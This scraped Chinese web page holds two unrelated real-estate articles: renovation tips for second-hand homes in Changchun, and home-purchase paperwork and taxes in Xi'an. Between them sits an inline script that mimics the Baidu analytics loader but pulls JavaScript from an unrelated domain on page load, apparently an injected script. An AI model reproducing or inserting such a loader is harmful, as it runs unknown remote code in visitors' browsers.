长春二手房屋改造的时候要注意什么问题？

​随着经济水平的提高，越来越多的人选择二手房屋进行重新改造，但是，改造不是一个很简单的事情，如果，你完全自己随便改造的话，有可能你这个房子就完了，一定要在改造之前咨询一下专业装修人士的建议，在此，我给大家整理了几点长春二手房屋改造需要注意的。一、长春二手房屋改造要注意房屋规划在长春二手房屋装修的时候，整个房子的规划是很重要的，这样能避免在装修的时候少走一些弯路。在改造之前，一定要明确自己是要全部都改造还是只改造局部。要根据整个房子的布局啊，还有自己的预算进行改造；如果你对这个房子都不满意，那就全都重新做。二、长春二手房屋改造要注意承重墙不能动在长春二手房屋改造的时候，一定要注意承重墙是绝对不能动的。私自拆承重墙不但有严重的危险隐患，而且还可能会违法国家规定。承重墙是房屋承重的主体，承重墙和整栋楼的受力能力是有直接关系的，如果拆了它会影响整栋楼的安全性，所以，一定不能动它，并且在改造的时候还要注意它的加固和保护。在拆之前可以咨询一下物业，因为有的物业可能会有结构图纸。三、长春二手房屋改造要注意资金预算在装修之前一定要做一个详细的计算，严格控制自己的金钱预算；在买东西的时候一定要理智，尽量买那些你需要的东西，不要看到什么好看的东西就买。在进行预算的时候一定要给自己留一定的余地，看看自己能接受的最大程度是多少。这就是以上我对于长春二手房屋改造时的几点简单建议，但是，不管如何，在装修改造之前还是要问一下专业的装修人士，听取他们的建议，尽量装修成自己最满意的样子。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

西安买房需要什么手续 要交哪些税？

我们都知道西安是陕西的省会，自然发展也是比较快的，有很多的就业机会，也是适合居住的繁华城市，有很多的陕西县城或者农村人都会涌入西安市，每天在西安买房安家的人多不胜数，那么西安买房需要什么手续?要交哪些税?本地人和外地人买房情况一样吗?下面小编就西安买房的相关问题给大家做一个简单介绍，大家可做了解。​西安买房需要什么手续?[1]如果是单身要提供未婚证明;PS:到民政局开未婚证明;(提供材料)A身份证;B户口本C相关材料的复印件{备注}有时可到社区居委会开未婚证明;[2]如果是外地户口，要提供对应城市的户籍担保证明;对户口为非当地的买房人，除非是一次性付款，否则到银行贷款时，各家银行都会要求买房人必须提供一名当地籍并有正常稳定收入的人作还贷的担保人。[3]如果是老人的拆迁安置房，还需要追加年轻人作为户主之一才能够取得银行的贷款.对拆迁安置房的贷款，银行要求年龄在65周岁以上的贷款人，必须追加一名比较年轻的直系亲属作为共同的还贷人。西安买房要交哪些税?(一)买商品房需要交的税：1、契税，购房总价的3-5%(不同的省市自治区税率不同)，普通商品住宅减半，即1.5-2.5%。2、印花税，购房总价的0.05%(二)基金：1、房屋维修基金，购房总价的2-3%，大多数地方是2%2、副食品价格调节基金,2元/平方米，有些地方不用(三)规费1、交易费，购房总价的0.5%买卖双方各交0.25%，(住宅3元/平方米，由开发商交，购房者不用交)2、《房屋所有权证》工本费，各地不一样，但是都不超过100元3、《土地使用权证》工本费，各地不一样，但是都不超过100元(四)如果按揭，还要发生以下费用1、评估费，购房总价的0.2-0.5%2、保险费，购房总价乘以贷款年限乘以0.1%乘以50%3、公证费，贷款额乘以0.03%4、抵押登记费，100元其实每个城市的买房需要准备的材料都大致相同，主要是买房条件的问题，小编在上文中并没有提及，大家可参考本网站其它相关文章。但是如果你想在西安买房，不知道准备什么手续，可参考小编上文中的介绍。另外小编提醒，如今买房子需要交的税都是国家统一的，收费标准也是统一的，不同的城市可能其它的费用收取情况就有差别了。